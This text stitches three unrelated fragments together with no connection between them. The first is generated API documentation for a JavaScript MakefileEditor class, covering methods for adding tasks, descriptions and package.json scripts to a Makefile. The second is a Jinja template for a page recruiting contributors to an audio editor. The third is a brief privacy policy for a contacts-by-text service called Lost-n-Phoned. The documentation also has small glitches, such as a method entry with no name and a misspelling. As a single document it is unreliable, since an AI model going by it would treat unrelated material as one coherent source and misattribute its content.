| public |
append(lines: string | Symbol): MakefileEditor Append line(s) to end of Makefile |
|
| public |
appendHelpTask(): * |
|
| public |
Append tasks imported from package.json |
|
| public |
formatTask(action: string, scripts: object): string Format task and remove package.json dependency by replacing npm with make and such |
|
| public |
importScripts(): * |
|
| public |
prepend(lines: string | Symbol): MakefileEditor Prepend line(s) to top of Makefile (similar API to MakefileEditor#append) |
|
| public |
write(contents: *): * |
Public Constructors
public constructor() source
Public Methods
public addComment(text: string): MakefileEditor source
Add Makefile comment
Params:
| Name | Type | Attribute | Description |
| text | string | Comment text |
public addTask(name: string, tasks: string[], options: object): MakefileEditor source
Add task to Makefile (appended to end)
Params:
| Name | Type | Attribute | Description |
| name | string | Task name ("build", "lint", etc...) |
|
| tasks | string[] | Lines of code to be executed during task |
|
| options | object | Configure task |
|
| options.description | string |
|
Task description used in help task |
| options.silent | boolean |
|
Prepend "@" (true) or not (false) |
public addTaskDescription(task: string, description: string): MakefileEditor source
Add deescription to task for use during help task
Example:
const makefile = await (new MakefileEditor())
.addTask('foo', 'echo foo')
.commit();
// foo: ## Task description <-- default task description
// echo foo
//
await makefile
.addTaskDescription('foo', 'This task does foo')
.commit();
// foo: ## This task does foo
// echo foo
//
public appendScripts(): MakefileEditor source
Append tasks imported from package.json
Example:
const makefile = await (new MakefileEditor())
.importScripts()
.appendScripts()
.commit();
public formatTask(action: string, scripts: object): string source
Format task and remove package.json dependency by replacing npm with make and such
Params:
| Name | Type | Attribute | Description |
| action | string | Task action |
|
| scripts | object | Scripts object imported from package.json (must run MakefileEditor#importScripts first) |
public prepend(lines: string | Symbol): MakefileEditor source
Prepend line(s) to top of Makefile (similar API to MakefileEditor#append)


{% extends 'base.html' %} {# Prevent the helper panel from appearing by overriding it. #} {% block helperPanelContainer %}{% endblock helperPanelContainer %} {% block mainContent %}
We seek people passionate about sound or coding to help shape and develop beautiful audio editor.
{# TODO(chizeng): Include email. #} Lets converse via email. Talking in third person feels odd.
{% endblock mainContent %}


Lost-n-Phoned
Access your contacts from any text-enabled phone
Privacy Policy
- The only thing we store is your phone number,
so we can keep track of whether you are registered
with the service or not.
- We never store any of your Google Contacts data.
- We never transmit or share your phone number or your
Google Contacts to any third parties.